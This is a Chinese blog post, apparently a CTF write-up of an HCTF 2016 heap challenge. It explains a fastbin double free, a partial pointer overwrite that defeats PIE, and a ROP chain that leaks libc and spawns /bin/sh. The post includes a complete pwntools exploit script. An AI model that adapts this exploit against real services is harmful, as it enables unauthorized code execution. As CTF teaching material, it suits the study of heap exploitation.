BruceFan's Blog

Stay hungry, stay foolish

0%

fastbin上的堆漏洞利用

这是一个hctf2016的比赛题目,题目中的漏洞是堆相关的,但与之前写过的堆漏洞有所不同,程序中申请的堆块比较小,只能用uaf去利用。
经过对程序的分析,分析出如下两个结构体:

str_struct是漏洞利用所用到的结构体,每次创建字符串都会malloc一个这个结构。
漏洞发生在delete_str函数中,在delete时没有检查这块内存是否被释放过,造成double free。

构造uaf

1
2
3
4
5
6
7
8
9
10
create(4, 'aaa\n')
create(4, 'aaa\n')
delete(0) # fastbin->chunk0
delete(1) # fastbin->chunk1->chunk0
delete(0) # fastbin->chunk0->chunk1->chunk0
create(4, '\x00') # 长度为0,没有拷贝 fastbin->chunk1->chunk0->chunk1
# malloc-ptr: fastbin->chunk0->chunk1
# malloc-dest: fastbin->chunk1
create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') # 0x2d会覆盖free func的最后一位,覆盖为puts的地址
delete(0)

利用fastbin使用单向链表并且不检查double free的特点,对两个堆块进行释放,chunk0释放了两次,fastbin上的链表变成了循环链表,再以适当的方式申请堆块,就可以使字符串缓冲区和带有函数指针的控制块重合,使覆盖函数指针成为可能。
注:在调试fastbin时,又跟青神学到了新的调试方法,在gdb中使用命令:

1
gdb-peda$ p &main_arena.fastbinsY

可以打印出fastbin中的内容。不过要先安装一个库:

1
$ sudo apt-get install libc6-dbg

绕过PIE

为了绕过PIE,需要leak一个程序中代码的地址。PIE保护开启,地址的最低位一个字节还是不变的。通过覆盖一个字节的函数指针最低位,使得本来调用的free*函数,跳转到一个能leak地址的地方。
main函数中的这个putsfree*函数地址只差最低位的一个字节,而且调用后不会返回,可以将要free的地址中的内容打印出来,且程序不会崩溃。

找到存放ROP的位置

能够控制的函数指针在delete函数中,因此ROP最方便也是存放在delete函数的栈中。这里恰好有一个较大的buf变量,通过pop|ret调整rsp使得ROP得以执行。

获取shell

能够使用ROP就可以构造任意地址读,可以获得服务器的libc版本,从而得知函数偏移。
下面是完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python
#coding:utf-8

from pwn import *

r = remote('127.0.0.1', 4444)

def create(size, string):
r.recvuntil('quit')
r.sendline('create ')
r.recvuntil('size:')
r.sendline(str(size))
r.recvuntil('str:')
r.send(string)

def delete(id, sure = 'yes'):
r.recvuntil('quit')
r.sendline('delete ')
r.recvuntil('id:')
r.sendline(str(id))
r.recvuntil('sure?:')
r.sendline(sure)

create(4, 'aaa\n')
create(4, 'aaa\n')
delete(0) # fastbin->chunk0
delete(1) # fastbin->chunk1->chunk0
delete(0) # fastbin->chunk0->chunk1->chunk0
create(4, '\x00') # 长度为0,没有拷贝 fastbin->chunk1->chunk0->chunk1
# malloc-ptr: fastbin->chunk0->chunk1
# malloc-dest: fastbin->chunk1
create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') # 0x2d会覆盖free func的最后一位,覆盖为puts的地址
delete(0)
r.recvuntil('lo')
puts_addr = r.recvline()[:-1]
base_addr = u64(puts_addr.ljust(8, '\x00')) - 0xd2d
print 'base_addr = ' + hex(base_addr)

delete(1) # 调用free2,先free chunk0再free chunk1: fastbin->chunk1->chunk0->chunk1
create(4, '\x00') # fastbin->chunk0->chunk1->chunk0
# malloc-ptr: fastbin->chunk1->chunk0
# malloc-dest: fastbin->chunk0
create(0x20, 'a' * 0x18 + p64(base_addr + 0x11dc)) # pop_pop_pop_pop_ret

payload = p64(base_addr + 0x11e3) # pop_rdi_ret
payload += p64(base_addr + 0x202070) # malloc@got
payload += p64(base_addr + 0x990) # puts@plt
payload += p64(base_addr + 0x11e3)
payload += p64(1)
payload += p64(base_addr + 0x11da) # pop6_ret
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(base_addr + 0x202058) # r12 -> rip read@got
payload += p64(8) # r13 -> rdx
payload += p64(base_addr + 0x202078) # r14 -> rsi atoi@got
payload += p64(0) # r15 -> rdi
payload += p64(base_addr + 0x11c0) # 通用gadget
payload += 'a' * 8 * 7
payload += p64(base_addr + 0xb65) # read_num
delete(1, 'yes'.ljust(8, '\x00') + payload)

malloc_addr = u64(r.recvline()[:-1].ljust(8, '\x00'))
libc_addr = malloc_addr - 0x83580
system_addr = libc_addr + 0x45390
r.sendline(p64(system_addr) + '/bin/sh')

r.interactive()

题目下载
reference
http://www.freebuf.com/articles/web/121778.html?utm_source=tuicool&utm_medium=referral